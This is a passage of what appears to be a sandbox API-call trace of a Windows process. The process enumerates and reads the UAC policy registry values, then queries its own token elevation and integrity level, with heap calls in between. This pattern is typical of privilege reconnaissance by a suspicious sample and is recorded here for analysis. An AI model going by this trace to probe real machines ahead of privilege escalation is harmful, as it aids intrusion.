RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55b860 [0257.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b878 [0257.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b888 [0257.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c438 [0257.497] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b898 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c558 [0257.497] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b930 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c510 [0257.497] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x20) returned 0x55b940 [0257.497] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b860) returned 1 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b860 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c4c8 [0257.497] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b968 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c480 [0257.497] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b978 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c3f0 [0257.497] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b988 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c3a8 [0257.497] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x30) returned 0x55b998 [0257.497] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b940) returned 1 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b940 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c360 [0257.497] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b950 [0257.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c318 [0257.497] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b9d0 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c2d0 [0257.498] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b9e0 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.498] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c240 [0257.498] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b998) returned 1 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b998 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.498] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55b9a8 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1b0 [0257.498] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1e8 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c168 [0257.498] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1f8 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.498] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.498] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.498] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.498] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.498] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b878) returned 1 [0257.498] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c438) returned 1 [0257.498] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b888) returned 1 [0257.498] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c558) returned 1 [0257.498] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b898) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c510) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b930) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c4c8) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b860) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c480) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b968) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c3f0) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b978) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c3a8) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b988) returned 1 [0257.499] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c360) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b940) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c318) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b950) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c2d0) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b9d0) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b9e0) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1f8) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b998) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1b0) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b9a8) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c168) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d1e8) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d1f8) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c240) returned 1 [0257.501] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c240 [0257.501] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0257.501] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x55c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x55c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c240) returned 1 [0257.501] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.501] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1f8 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.502] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1e8 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c240 [0257.502] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d208 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.502] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d218 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c168 [0257.502] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x20) returned 0x55b860 [0257.502] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d228 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1b0 [0257.502] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d238 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.502] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d248 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.502] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d258 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c2d0 [0257.502] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x30) returned 0x55b930 [0257.503] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b860) returned 1 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d268 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c318 [0257.503] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d278 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c360 [0257.503] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d288 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c3a8 [0257.503] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d298 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c3f0 [0257.503] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c480 [0257.503] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b930) returned 1 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2a8 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c4c8 [0257.503] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2b8 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c510 [0257.503] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2c8 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c558 [0257.503] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c438 [0257.503] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.504] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.504] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.504] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.504] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.504] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.504] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.504] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.504] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d1f8) returned 1 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c240) returned 1 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d1e8) returned 1 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d208) returned 1 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c168) returned 1 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d218) returned 1 [0257.504] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1b0) returned 1 [0257.504] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0257.504] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x55c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x55c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0257.504] RegCloseKey (hKey=0x38) returned 0x0 [0257.504] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0257.504] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0257.505] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0257.505] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0257.505] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.505] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x55c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x55c5a0, ReturnLength=0x18fbfc) returned 1 [0257.505] GetSidSubAuthorityCount (pSid=0x55c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x55c5a9 [0257.505] GetSidSubAuthority (pSid=0x55c5a8*(Revision=0x1, SubAuthorityCount=0x1, 